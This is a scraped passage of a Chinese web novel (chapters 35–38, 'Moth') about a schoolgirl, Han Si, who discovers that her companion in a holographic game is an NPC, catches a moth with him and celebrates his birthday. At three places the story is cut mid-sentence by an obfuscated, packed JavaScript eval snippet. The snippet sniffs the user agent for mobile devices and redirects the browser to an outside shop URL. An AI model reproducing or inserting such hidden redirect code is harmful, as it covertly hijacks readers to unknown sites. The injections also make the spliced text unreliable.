陈岁安推开房间门,里头已经开了适宜温度的空调,温暖如春的热浪扑来。 桌面上的试卷整理得一干二净了,投影机躲在小角落里,李轩玉不想见韩思,便托她拿了投影机送到她房间去。 陈岁安走上前去抱起投影机,转身看见空荡荡的床铺,这才发现韩思好像不在房间里。 现在是凌晨十二点刚过,大晚上的万籁俱寂,她能去哪里?又联想到她今天心情低落,不会做傻事去了吧? 手机叮叮来了两条新消息,是韩思。 -我一小时后回来。 -不要告诉老师,谢谢。 -沈老师如果来查房,你就直说。 幸好她没去做傻事,陈岁安舒口气。 陈岁安回:“尽力帮你打掩护啦~” 嘟囔大学霸原来也会做这种出格的事情吗,研学旅行还半夜离宿,真是完全想不到,也不怕被警告处分。 又听见窗外接连噗咚噗咚的动静,她赶紧放下手机,有些怜惜地碎碎念:“窗帘怎么没拉好,天呢,怎么这么多飞蛾都在撞玻璃。” 拉好窗帘,抱起投影机,出门前犹豫了下,还是啪一下关掉了房间里的灯。 毕竟飞蛾那种昆虫,总见了点亮光就扑上去。幸运的飞蛾见到了月亮,不幸的那些变成片片笨重的雪花,砸在窗户上,在晨光熹微的时候,被清扫进垃圾桶。 飞蛾如果知道扑的是玻璃,应该就不会那么努力地飞了吧? 韩思拉好窗帘,视线从噗咚噗咚的窗外回落,这套设备想必很多人都使用过,耳罩摸上去都滑腻腻的,但除了简单擦了擦也别无他法。 室内变暗,飞蛾扑窗的动静也小了许多。 《仙缘》由于是特殊的全息游戏,去网吧还必须开小包间才能玩,幸好这破落小网吧一小时也就十块,加全息设备再加十五块。 前台拿出来的时候还特别叮嘱,玩坏了要照单赔偿的,五千一套概不赊账。 韩思连连点头,别说嫌弃脏了,拿设备的手都分外小心珍重,五千对她来说是天文数字。 零零零待着的是特殊房间,先进去主游戏,末了还得靠他邀请再传送过去,不过也就几分钟的功夫。 谁料想一进游戏就被人截胡。 “哎哟我的吗我的亲娘我的亲爹我可算是等到你上线了,不然我怕我良心难安啊。” 韩思熟能生巧地退后两步躲避突脸杀,皱眉打量表情夸张的来者。 是陶珏? 韩思点头表示收到,奇怪但不太好奇,因为眼下还有更紧迫的事情,干脆道:“我有点事,你等会儿再说。” “等等等你先别传走,你知道老大不是你现实里碰见的那人了吗?” 李轩玉说的吧,现在连陶珏都知道这档子事。 韩思迟疑片刻,还是点点头。 这下换陶珏愣了:“不应该啊,按照李轩玉那脾气,她肯定不会这么容易就和你说。” “是他本人亲自解释的。” “那就对了,不过奇怪了你俩怎么联系上的?你不是删他好友了吗?”陶珏露出老实人看高手因爱落魄的朴实乐呵呵,“他那天破大防,小黑屋都被他黑掉了不蹲了跑出来找我,现在可能因为恶意卡bug要蹲满24小时了,哈哈还挺爽。” “他老蹲小黑屋啊?” 韩思随口一问。她对小黑屋有点印象,因为零零零好像最开始的时候经常说他的努力就是为了不蹲小黑屋,那地儿老恐怖了。 “老大之所以是老大的原因之一,就是他老被系统罚去小黑屋上不了线,这么老罚都没封禁,他也是游戏第一人了,行了既然你俩没误会了,我就放心下了。” “零零零找过你?让你和我解释?” 在没看见的地方,他貌似做了很多努力,想要解释清楚这个阴差阳错的误会。 “嗯。”陶珏挠了挠头,和个不太聪明但肌肉发达的沸羊羊似的,“李轩玉不大肯传话,但我也没法子,我喜欢她啊我又不能虎她,更何况她还好像有点喜欢上老大了来着,老大是挺帅,可我不能再输一城吧。” 没想到陶珏心思还挺敏锐,这都发现了。韩思微微讶异。 陶珏叹口气,这气也叹得比常人粗旷些。 “她人有时候是转不过弯一点,还容易见异思迁,但喜欢有什么道理?我就是见她第一面就喜欢她啊,哎大嫂你千万别说出去。” “不说。”韩思其实也不太关心他人感情,“我先走了。” 网吧网速理所当然地很快,传送迅速。 零零零很听话没有离开刚才的房间,大概还在琢磨发生了什么,见韩思传送进来,原本皱眉苦思的眉眼转瞬明亮。 甚至有心情打趣:“你还挺快,我以为你打算用放我鸽子的手段,狠狠地惩罚我一番呢?” 他呆在单间里看不到游戏更新,也无法打开资料页面看到自己的标签栏,所以还没有发现那个突然加上的标签,瞩目又刺眼。 韩思站定,没回复也没下一个动作,就像掉线一样杵在原地,好像还没想好该怎么接受这件事情。 她还真从来没想过会被游戏NPC骗了这种荒唐事,但细细想来,端倪在一开始就出现了。 少年唇角勾起的笑意逐渐收敛,取而代之的是疑惑在眼神中凝结:“你还在生我的气吗?但你这样生气,我也好冤。” 因为零零零是虚拟数据。 所以很多被忽视的问题就倏然间有了答案,比如他是怎么知道自己住在哪里的,比如他的记性为什么那么好,比如他为什么一秒就能看出繁琐题目的答案,又或者是他为什么总是避而不谈现实里的事情。 多简单,他没有现实。 两天里情绪翻腾得好像比一生都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958266|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,果然她俩就不该遇到。 思绪就像百花谷漫山遍野的花,风一吹便不受控制了。陡然想起当时情缘任务向筱花买过花束后,筱花还倾情赠送了一次算情卦,虽写着行大字:娱乐效果不必当真。 结果见到连着十次不死心都能抽中孽缘,她还是有些哭笑不得的。 现在想来她当时还当着人NPC的面说人和Ai是不一样的,果真是桩孽缘。 见韩思脸上似乎有难过一瞬而过,又像是待机一样站在原地没有回答,零零零本就不是坐以待毙的性格,即便隐隐觉得不妙,他向前几步,略不悦地嚷嚷着:“喂喂喂,我都没怪你把其他人认错为我的事……” 这也是真心话,天知道他发现韩思竟能把别人认成他时,他有多不爽。 “你要不借这机会看仔细点儿,看看我和他哪里像了?还因为他就把我删了。” 零零零语气可怜委屈得紧,眼眸却透亮,毫无弱小无助的模样,反而是浓烈的兴致盎然。 反正这地也只有他们两个,做些什么也没人能瞧见。他忽然想借着这机会小小地捉弄下韩思,上身压近,极近的距离少女脸上的绒毛分毫毕现。 真可爱呢,就算心里头难过,就算被突脸那么多次了,当她抬起的眸子里倒影出自己的脸时,还是会同时闪过惊慌。 因为喜欢,所以会被吓到。 像外头陶珏那种人的突脸,汉斯小姐就会冷漠无情地躲开。 想到这儿零零零心情又愉快起来,接着就被韩思冷漠无情地伸手推开,“你不要凑那么近。” 韩思别开头,不知在想什么。 也许是程序员想着没必要,这处特殊房间不接连现实世界也不接连游戏世界时,没有树没有花也没有风,像是被抛弃的方寸荒芜。 片刻后,韩思咬牙踮起脚尖,掌心贴上手背,动作带起的风,在荒芜里带动袖摆轻拂。 冰凉和温暖只需要瞬间的触碰就能传递,缥缈虚无到几乎没有触碰的拥抱触之即分。 “情缘邀请,你通过一下,这下我不欠你帐了。” 零零零的神色应当是困惑的,也许下一句就是拒绝,但哪怕呼吸就喷落在耳边,汗毛竖起的距离,韩思也没移动视线去窥探,看似镇定自如地撂下句话:“不绑定你就完了,系统更新了NPC标签,现在是你有把柄在我手上了。” 随即便逃也似的下线游戏,哪怕零零零反应再快也没能抓住,因为她手放在电子屏幕上,就等说完立刻跑路。 摘下耳机,目之所及是陈旧破落的网吧小单间,憋在心里的气随着喟叹一声缓缓排出,愁得好像瞬间沧桑七十岁。 这死游戏,绑定情缘必需的前置条件是:送花、拥抱、牵手。 牵手拥抱两件事要是分开做,她只怕完成一件事就要下游戏缓缓这尴尬劲儿,犹豫片刻咬紧后槽牙决定一鼓作气,所以那即拥抱又是牵手的动作,大概是又别扭又好笑。 幸好在路上刷到了这游戏的小bug,情缘标签能顶掉NPC标签。 能拖一时是一时吧。 36. 飞蛾(4) 小黑屋是游戏里的另一空间,故要被关的人自己不出来,任谁都找不着。 “他怎么老被游戏关禁闭?”韩思向身边的筱花发问,本来以为一上线就能见到面,拜托完事情后就能迅速溜下线,没想到一上线听闻如此噩耗。 这次进游戏她连试卷都没带身上,本来一鼓作气的事情就更显得心神慌乱,开始犹豫要不索性放弃。 沿途顺道过来的筱花在精心修剪花篮里的花束:“他违反游戏规则,违反NPC守则。” 韩思忽然心生好奇,这问清楚的机会不常有:“具体点说说?” “我只能查到最近三次。”筱花一本正经放下手中的花束,调出电子屏,大概是偷懒使用了朗读功能以至于像是电子音播放:“11月20日,擅自殴打几名玩家,情节严重,惩罚72小时禁闭。” “这游戏打架不是挺正常的吗。” 筱花:“NPC不能打玩家。” 韩思收回视线,她每次都忘零零零是NPC的事情。筱花的肢体动作里处处都有电子数据的痕迹,但零零零不一样,无论怎样去和过去的回忆联系,都无法在他身上找到明显的纰漏。 复杂的情绪在脑海里跑了三千遍,最后也只能化为一句天星的技术真牛。 “12月3日,经管理员抽验,多次未完成带新手的任务,利用bug蒙混过关,故免去其带新手任务这一职责,惩罚72小时禁闭。” 韩思指指自己,讶然:“我不是……” 筱花撇嘴,“我们是NPC,引导新手过任务要带几千个人嘞,他才懒得。我卖花也卖几千个,就从来不投机取巧。” 几千个,天星真是压榨劳动力。 “12月25日,偷偷开通的社交软件被系统发现,NPC不能有这东西,事态严重,惩罚168小时禁闭。” “就不久前的事情啊。”筱花又切回自己的声线,又恢复成普通小女孩,“看样子出来以后过三十分钟又要被关进去了。” 韩思没吭声,蹲下身,团吧团吧地上的积雪。 也不知道三十分钟够不够抓住现实里的那只大扑棱蛾子。 …… 黑影在飞,似乎是只被困的蝴蝶在夜空胡乱撞,撞出了些亮堂来。 “班长你这次联考又是年级第一,不出意外下一届学生会主席也肯定是你当选了吧?” “副主席呢肯定是年级第二的温安,真是毫无悬念呢。” “听说温安她家做医药的和你们天星最近也有合作来往吧?要我说你俩真是天造地设的一对啊。” 少年脚尖勾起,低空迅猛飞来的足球被截停,又见修长小腿踢出的瞬间爆发力量,结实的肌肉微微隆起,足球又低空飞回去,还带点凌厉的破空声。 “老实说林参你体育细胞也好牛逼。” “过誉。”林参语气平淡,“不过我性冷淡。” “啥?” “别老说我和谁谁谁一对,我性冷淡。” 他解释完,又转头扬声道:“喂!我们班体测,你们踢足球的注意点准头。” “真假的?就你这跑十圈操场都不带喘的体力和做八百个仰卧起坐都利索的腰力,性冷淡?多浪费啊!” “体育和x冷淡有啥联系吗?” “走走走。你女孩子问啥?非礼勿听,走一边去。” 林参跟着点头:“他说得对,你最好去温安边上站好,下一组要开跑了。” 眼瞅那女孩听了跑回队伍里,边上的男生又道:“我倒开始希望温安别喜欢上你。” 林参有些意外,调侃道:“怎么?你喜欢上温安了?” “看吧,你这冷心冷肺的,哪个姑娘要喜欢上了估计得吃大苦头。” “哇你是第一个说我冷心冷肺的。” “不冷吗?温安刚就在你后头你明明看到了吧?就这么直说不怕伤人心啊。” “这是好人行好事,让不该有的念头早点死心。” “没有共情能力的人机。” 林参不置可否,礼貌微笑:“女生跑完换我们了,骂我还不如歇会儿热热身,体育还不及格就丢脸了。” “对成绩执著到吹毛求疵的怪物人机,你家里人不是都老开明了吗?怎么做到还这么自律的,教教兄弟吧。” “天生的,你学不来。” “……拽死你了,服了。” 体育满分数学满分物理满分,只有文科会零零散散扣几点分数,次次稳拿第一几乎从未失误,又能完美兼顾学业和人际关系。 就算有天赋傍身,依旧得付出几乎没有闲暇生活,睡觉时间也是争分夺秒作为代价。 国际学校放学时间的天空仍亮堂,绝大部分学生放课后有人来接,应接不暇的豪车来来往往穿梭在校门口。 一开始母亲说是要雇人来接的,不过林参拒绝了,反正左右不过半小时的公交距离,又地处监控布满的中心城区,那种富家少爷小姐被绑票的剧情只会在小说里才有。 伸手开家门前,忽然有些没忍住,他在家门口站定,从包里掏出了张纸条,上头印刷着一行硕大的成绩排名。 可惜数学最后一道大题过程写得太简略,被阅卷老师残忍地扣掉一分,虽说名次还是1,但数学成了不大好看的149,有些拿不出手。 修长的手指灵巧地将薄薄的纸张角对角叠起,放进衣服口袋。 他对成绩有着近乎偏执的渴望,因为这是他唯一拿得出手的,属于他的东西了。 毕竟他的母亲和父亲要什么有什么,无论是名声还是地位还是金钱,什么都不缺,这就导致他的所有东西都未曾入他们的眼。 哪怕是最拿得出手的成绩,也近乎是废纸一张。 到底有什么东西能入母亲的眼呢。 推开门的同一时间就能听见,母亲在声嘶力竭地嘶吼着什么,刀划拉玻璃,产生刺破耳膜的尖锐声,巨大的别墅上上下下都是一团糟,到处都能看见碎片狼藉。 闹哄哄的,竟罕见地品出了点人味。 大概是父亲回x港了不在家,母亲从‘笼子’里被放出来,一并也扯下了自己温顺贤良的外壳。 不过父母两人都难得回这住处,一年到头算到底也呆不满一个月,父亲一走母亲大概也要趁机会飞回m国去。 他的作用,就是留在这儿上学,打打掩护。 听见门开又关的动静,楼上倏然安静了下。 女人的声音沙哑:“林参?你回来了?能不能上楼来帮帮妈妈。” 得到指令的林参迅速放下包,踩着楼梯上楼。 他擦干净女人裙身的垃圾,少年还不宽厚的肩膀撑起女人的手,搀扶她起身。 女人趴在他背上,忽然笑得像朵美丽洁白的栀子花,道:“以前怎么没发现,你眉眼长得和我真是一模一样呀,就是眼下的痣那男人也有一颗。” 林参下意识指腹摸上眼角,他想把这话题揭过,用不在意的口吻语气含笑:“也就只有这颗痣。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019946|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你不要刻意学我的样子。”她的声音原本又轻又纯净,笑起来像是山间的晚风,只是现在带着嘶吼过的疲惫沙哑,就如同晚风里夹杂粗粝的小碎石。 “你骗不了我,你像他胜过像我。” 像是被看穿了般,林参刹那心底悚然,还没琢磨出该怎么回答,又听她忽然问道:“你这次考试了吧?成绩怎么样?” 猝不及防的关心,让少年的脊背都一僵,怔愣几秒后从兜里掏出那张叠好的纸条,抚平整。女人手没抬起也没接过,像是在侧耳等他说。 于是林参又放回纸条,如实道:“这次还是第一,不过数学扣了一分比较可惜。” 末了他像是立下志向般,停顿片刻后又添上句:“我不像他,也不会像他。我以后会救您远离他的。” 女人又笑了:“起来吧。楼梯我自己下,你先下去看看有什么吃的不。” 母亲的眼底是满意吗?又好像是听到了什么可笑的事。 “好。” 林参轻轻答应。家里还有什么可以做晚饭的呢?本来一个人在家他做得最多的就是阳春面,今天母亲也要吃,那肯定得做丰盛些。 少年边想着边轻快转身。 背过的瞬间,钝器击打后脑勺的沉闷声响在安静的别墅里响起,剧烈的疼痛紧随而来,跌落下楼梯后的片刻清醒只容许三个念头升起。 母亲没事吧? 钝器是放在走廊的装饰品,是个相当漂亮的铁制花盆。 好疼。 小黑屋时间归零的瞬间零零零就醒了。 只是思绪混乱,若即若离的真相就像是个飞来飞去的黑影,窥见一二的机会稍纵即逝,但他眼神好,挺擅长抓住蝴蝶的。 如果说韩思遇见的那个男生是林参,那么在他回忆里的林参是谁?自己又是谁? 是仿照人类产生的数据吧。 ——窥清那黑影,不是蝴蝶,是扑棱蛾子。 坠入火焰化为飞灰的飞蛾。 少年喟叹一声悠远,琥珀色的瞳孔掩藏在灰暗里,忽明忽暗。 汉斯小姐已经近五天没来找他了,到今晚的24点,就是168小时整。 本来照他绝不坐以待毙的脾气,第二天就会点燃烟花,再不济点八百个外卖,每张纸条上都写好死乞白赖的备注,毕竟胆小鬼最是心软。 思绪百转千回。 游戏要给玩家最生动的体验,故而初冬的第一场雪跟随现实,在游戏里也絮絮地下着,推开小黑屋门便是漫山遍野的风在吹荡。 不过NPC可推不开现实的门。 即便曾自欺欺人地以为,并肩同行的路再长些,再长些,是不是就可以一直走下去。 倏然想起汉斯小姐下线前那个蜻蜓点水般的拥抱,来不及贪恋多少温度,就触之即分。 飞蛾撞开屋门。 接着昏沉撕裂,天光骤明。 熟悉面庞的少女舒口气:“可算出来了,这半小时都够我做一套卷子了。” 她怎么会在这里? “帮我个忙,就当我上次帮你忙了的报酬。”韩思的耳尖彤彤红,不由分说地拉住他的手。 指腹触碰,少年修长的的手指尖下意识蜷曲回握,肌肤轻擦触碰。 一个呼吸、两个呼吸、三个呼吸…… 直到温度蔓延渗透,良久未分开。 见拉不太动,韩思又转头佯怒喝道,“零零零!别愣!赶紧地!再慢点找不到大扑棱蛾子,我要完蛋露宿街头了!” 37. 飞蛾(5) 抓扑棱蛾子真的就只是单纯的、抓扑棱蛾子。 因为除了他以外,深更半夜独身一人,她竟找不到一个可以拜托的对象。 “靠你了!”韩思手搭在卧室门把手上,微微压下抬起,似乎在做心理建设,半天还是没开门。 零零零也没催促。 反倒是韩思先双手比划了下,自我解释:“那么大的扑棱蛾子啊!” “你很怕虫子?” “没有很怕虫子。”她深呼吸,又比划了下,第二遍强调,“但是那么大的扑棱蛾子!” 鬼知道堪比蝙蝠大小快要成精的扑棱蛾子是怎么飞进来的。 零零零眉稍挑起:“那你开门,我才能抓啊。” “你怎么抓啊你都碰……”韩思话说到一半就后悔了,抱着投影仪生硬地移开话题,“我开门了,你跟着进来别乱走。” 一鼓作气压下门把手,韩思自言自语了几句给自己加油鼓气,“今晚抓不到它,我就得把我的卧室让给它睡了。” 门开条小缝就闪身进去,又迅速合上门,万一飞蛾飞出卧室就更难抓了。 卧室没开灯,还有不到半小时就是元旦,夜深人静黑漆漆的,也就只有窗外明月鲜少几缕亮光,房间里的陈设朦朦胧胧里模糊地有着点轮廓。 不过随着身后那人自带圣光特效般的进门,又亮堂了几分。 啪嗒啪嗒啪嗒。 似乎是感受到危险来临,飞蛾瞬间扑腾起来,卧室狭窄空间局促,翅膀打在墙面上啪嗒作响,依稀能看到白色的影子乱窜,简直是毛骨悚然的动静。 韩思赶紧挪开几步,与边上明亮的“灯泡”保持一个较远的距离。 她目光紧盯空中飞舞的白色飞蛾,刚想开口,余光就发觉零零零早已先一步走到墙角,又手扶膝盖,缓缓俯下身,好整以暇地在墙角里蹲好了。 韩思闭上嘴,蹑手蹑脚地摸上手边的不锈钢盆。 少年人高马大,个子能有一米八多,手脚修长,为了让不锈钢盆能精准打击,他束手束脚地缩在角落里,显得分外窘迫,头顶发旋蓬起,软绒的模样似乎一摸下去就能回弹上来。 也是辛苦零零零了。 果然不出她所料,飞蛾到底是趋光性动物,四处乱撞几下后又恢复清醒,遵循本能径直冲向房间里唯一的光源。 韩思抄起不锈钢盆就往飞蛾飞行方向盖。 好巧不巧地,飞蛾落点正是零零零茸茸的发旋,少年听见动静下意识微微抬起头,琥珀色的瞳孔若一枉春水,直愣愣地撞入视线范围。 千钧一发里,韩思鬼使神差地手腕一歪,不锈钢盆擦着他的下颌线边而过。 哪怕知道他是NPC,况且不锈钢盆可砸不到光影。 虽然立刻回神想要弥补这手抖,但显然无济于事,大扑棱蛾子受到惊吓,扇动翅膀,噗啦噗啦飞得超快,擦过臂膀飞出去激得韩思一阵头皮发麻,挥舞不锈钢盆连连退后几步:“啊啊啊啊——” “这点距离都没……” “意外意外!”零零零的微讶被迅速打断,韩思咬牙切齿硬邦邦道,“抓不到蛾子我就没地儿睡了,你快看看它飞哪里去了。” 要不是为了闪避他那张脸手抖了下,她刚早就得手了。 零零零语调里倏然莫名有种似笑非笑:“我看不清啊,我们还是守株待兔吧。” 房间里为了省电没打空调,前两天又是下雪大降温的,夜深了还有点冷,韩思搓搓手又哈了口气,僵硬发红的手指头柔软灵活了些。 似乎是个长久战,零零零索性改换姿势,懒散地坐在角落里,一条长腿微曲,手肘搭上膝盖,眸光散漫地扫视四周,也不知道在看什么。 面对零零零,韩思总是话比脑子快:“你这样有点像流浪汉。” “那汉斯小姐捐点。” “……没钱,家徒四壁。” 如常的你一言我一语,就好像那个NPC标签没有出现过。 他只是个普通的少年。 “不是钱也好啊。”零零零眉眼像染上故意捉弄的笑意,道,“看上你的玩偶了,给我抱会儿。” 什么变太要求。韩思蹙眉秒拒绝:“你又碰不到。” “哦。”零零零脸上划过显而易见的失落。 意识到说了不太好的话,韩思愧疚地扯开话题:“你男生,喜欢抱玩偶?奇不奇怪?” “我都没有抱过怎么知道喜不喜欢呢。”零零零这话似有所指,奈何韩思听不懂。 不过他也就吃定了韩思呆呆的听不懂,看着人不仅没反应过来,反而有些窘迫地去悄悄地拉平了下被角,他眼底的笑意藏匿不住。 零零零故意调侃道,“我床上别说玩偶,连被子都整整齐齐,哪像你乱成一团。” “起床那么早哪有时间,反正也没人管我。”既然已经被看到,韩思索性也不偷偷铺平被子了,反击了下,虽然毫无攻击力,“羡慕吧?没有人管的独居生活。” “要是真那么好,也不用拜托我半夜来抓飞蛾,不是吗。” 韩思回瞪他,零零零笑吟吟的模样还是那么欠,但又好像自己从内到外一切都能被他摸清。 他可能早就看透了,毕竟他俩的缘份好冤孽,她每次的丢脸都会在他面前铺开,无论是这次抓飞蛾还是上次的发高烧,少女学霸的狼狈面叮叮当当散落一地,又脏乱又难看。 偏他还认真地打量拨弄,兴致盎然。 形单影只的孤独被柔和光线微微照亮。 韩思冷哼:“看不出来你还是个会早起叠被子的人。” 零零零微笑轻声道:“多看看我就看出来了。” 这么不要脸的话她都懒得回嘴。 韩思随意聊起:“你怎么不问问我为什么五天都没上线?” “你不是考虑了五天要不要接受一个NPC为朋友吗?” 亏她五天里还经常担心他会不会难过,没想到零零零就这么泰然地说出来了。 韩思找寻飞蛾的视线微顿,她解释道:“是我妈在我这里待了五天,我叠了五天的被子,也不敢拿出衣橱里的游戏设备,她晚上刚走。” 她前脚刚走我就来找你了。 零零零似笑非笑的瞳孔几乎不可觉察地颤动了下。 白影从眼前嚣张飞过,看运动轨迹似乎再次朝向室内唯一发光体,果然是飞蛾死不悔改的趋光本能。 两人视线交汇,无需言语。 零零零保持静止屏住呼吸。 韩思抄起不锈钢盆就追着飞蛾往地上扣,抱着这次绝不心慈手软的决心。 不成功便成仁—— 飞蛾是抓着了。 只是扣的地方着实尴尬。 零零零今天穿的这身衣服内搭还挺紧,紧实的小腹随呼吸平稳起伏。 透过薄薄布料,朦朦胧胧里推测出应该是有肌肉线条的,没想到他肩膀宽,腰却是偏细的劲瘦,视线再往下…… 不能往下了! 飞蛾在不锈钢盆里猛烈地扑腾。 趁零零零没做声,估计是还没发觉他被人如此凑近猥琐的打量,韩思赶忙连声道:“你站起来。” 赶紧站起来离远点啊!! 没想到零零零疑惑的声音从头顶传来:“站起来?为什么?” 哪里有这么多为什么?! 他不站起来,难道要她的手横穿他的大腿根吗? 哪怕清楚地知道他是NPC,这些只是数据数据而已!可韩思还是觉得自己的脸皮又要烧起来了,无论是心动还是羞赧,情绪泛滥起来就像是开闸的洪水猛兽。 真是认命了。 她道:“你不起来我不好移动。” 少年低低的声音像是轻喃,夹杂着似有似无的促狭:“我站起来你就好动了?你想怎么动就怎么动呗。” “你让不让?” “不让。”抬眼看,他薄唇轻启,又是满脸的无辜,“你又碰不到我啊。” 撇去乱七八糟的杂念一想,他说的确实在理。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037138|142874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可能这就是身正不怕影子斜吧。 韩思唾弃自己不干净的大脑,低头双手扣紧不锈钢盆。 扑棱蛾子垂死挣扎,扑腾得更猛烈了。 蹲着移动本来就慢,又得时刻注意不能让盆被飞蛾掀开,就算她不想看也没法不去看。 不锈钢盆沿长腿一路向下,长裤布料勾勒出微隆的形状,不难猜底下的的肌肉走势匀称又丰满。 还未移一半的艰难路程,那长腿就折叠收起了。 “看你怪辛苦的。”零零零倏地灵活起身,良心发现似的,“不挡你路了。” 韩思松口气,后半段手扣着盆移动得飞快,逃也似的。 和身后那亮眼如移动灯光的少年相比,大如蝙蝠的飞蛾甚至都有些不算什么了。 用手砸了几下钢盆框框作响,扑腾的飞蛾貌似敲晕消停些了,她便拉开门,钢盆移过门坎时抬手抛扔,给这可怕的飞蛾扔出家门外,又以迅雷不及掩耳之势关门。 这事儿总算消停。 咻—— A省没有禁止燃放烟花爆竹的条例,和S市偶尔的几束烟花还只能郊区燃放不一样,这儿每逢跨年重要节点,到处彭彭啪啪热闹非凡,平等地把每一个睡梦中的人震醒。 旧年的忧愁为燃料,把新年新气象的展望噼里啪啦升上天空,璀璨又饱含希望。 甚至不需要看时钟,都能知道零点到了。 踩着零点,爽朗的少年声随烟花一样耀眼:“新年快乐啊汉斯小姐,听说趁这个时候许愿很灵验哦。” 韩思低头拿着不锈钢盆:“你是不是又要被关禁闭了。” 零零零气焰低靡,哼哼:“她怎么什么都和你说。” “紧闭可以等会儿再关吗?” 当然不可以,系统惩罚又不是儿戏。 虽然不知道韩思想做什么,但零零零还是抱胸站在她身后,眸光缱绻又温柔,轻声说道:“可以啊。” “那你等我五分钟。”韩思二话不说就转身拿不锈钢盆扣住投影仪。 “喂喂喂你干吗?” 零零零温和的眉眼持续不过一分钟就转为目瞪口呆,脸上闪过抗议,但奈何张牙舞爪的光影除了能当电灯泡抓扑棱蛾子外,不具备任何实质性作用。 哐啷一声被罩住了。 韩思拍拍手:“比飞蛾好抓。” 五分钟后她如约打开不锈钢盆。 他也如约留在那里。 “在你面前吃你想吃的面但你吃不到,自上次后,我想达成这个心愿很久了。” 韩思捧着碗阳春面,团坐在沙发上,可能是觉得有点弱智,像极了记仇的小学生,毕竟她脸皮没零零零那么厚实,于是撂完话就又别开头。 喜欢的定义是什么呢? 在明知道他不会喜欢自己的前提下却仍怀揣着喜欢,愚昧也好蠢笨也罢,无论怎样都无法逃避的事实,是哪怕他是NPC他们也能照常聊天。 胆小鬼做出这种事。真是没救了。 “本来想买蛋糕的,但我没找到时间溜出门。”她把面条微微捧高,略微尴尬地笑笑。 “总之,生日快乐啦,要不要许个愿。” 给NPC庆生,可能只有她这个傻瓜了。 少年琥珀色的瞳孔微漾,光影本身也会受到灯光反射吗?亮晶晶的就好像繁星降临。 “谢谢。” 零零零脸红了。 第一次无所遁形的脸红,在白净的脸颊上明显得像是初次被灌得酩酊烂醉,朦胧又单纯。 一碗面换看他脸红,不亏。 但他又一言不发地看着自己吃面条,那简直是世界上最难熬的十分钟。 “你不回游戏吗?” 零零零摇头。 直到亲眼见她吃干净最后一口面条,零零零终于说话了,红润还未褪色,嗓音略沙哑:“真想……” 淹没在瞬息轰然暴鸣的烟花里。 韩思吓得拿碗的手一抖:“这烟花好吓人。” 38. 飞蛾(6) 元旦宣告旧年的落幕,也许新年真的有新气象,研学旅行中和零零零一起经历的乱七八糟的事情也一并留在过去的一年里。 元旦当天韩思感慨这事儿,边上的零零零就一本正经地说情绪不要过夜,他说据可靠研究表明,负面情绪过夜看似是消退平静,实际会对大脑产生不可逆转的损伤。 她想起那晚升空的烟花。 他却勾起唇角,可怜巴巴地说:“所以你伤害我大脑了,你要负责。” 韩思选择低头苦思难题,让他麻利地去一边。 NPC也是有好处的,例如他说这些肉麻的话可能只是逻辑设定使然。 不必多想,也不必有多的心理负担,反正NPC即不会爱上她,也不会做渣男,将他作为一个充满人情味的陪伴考试机是最优解。 真是又难过又愉快的哭笑不得。 新上来的一周里,刚回学校的早自习,就被李轩玉单独拉到楼梯拐角的小角落里。 李轩玉道歉也咋咋唬唬的,她说:“行吧我和你说一下,陶珏说你那个朋友好像另有隐情。” “我知道。” 李轩玉轻松道:“我就说你那朋友他要是想解释清楚肯定有办法的吧,现代社会联系方式多了去了,微信删了还有q么。” 李轩玉又“咳咳”清嗓子:“不过不好意思哈,陶珏前几天就告诉我了,我今天才告诉你。” 韩思点头表示没事,她也没必要得理不饶人,何况李轩玉又有钱又是四中一霸。 她抱着书便回座位做题了。 另一面从云舒一改先前的频繁逃课,每天准时出现在座位上,教室也就这么几十个平方的大小,有些风吹草动的消息不过多久就会到处遍布。 听教师办公室传出来,说是他外公的手术款筹集到了,走完医保自费约莫是不到十万的样子,目前老人身体状况也稳定,做完手术从昏迷中醒来的概率很大。 估计是哪个好心人愿意伸出援手了吧。 虽然班里的人照旧都不愿意和他搭话,为首几个男生也经常用低劣的撕试卷扔东西之流的手段欺负他。 有时陈岁安看不下去了会站起身制止,可是大多都是以被全班静默的无声嘲讽为收场,一如过去那般。 只不过一来二去的,那几个曾经一直和陈岁安抱团的小团体也开始渐渐远离她,经常能看到她被孤立在一边,班级里关于他俩有地下情的造谣也愈演愈烈。 帮助被霸凌者的下场总是凄惨的。 韩思趴在桌子上奋笔疾书的时候,听见她们在窃窃私语: “你们就不怕陈岁安她妈那疯婆子又来学校闹事啊?陈岁安又要哭鼻子咯,她一定会告诉她妈妈的吧哈哈哈。” “搞笑?我欺负她了?我说的不是事实吗她身上很臭,还总帮人家娘娘腔,肯定是喜欢。” “谁之前还把她当好朋友来着。” “你好友~” “咦惹,你好友~她一个顶俩呢。” 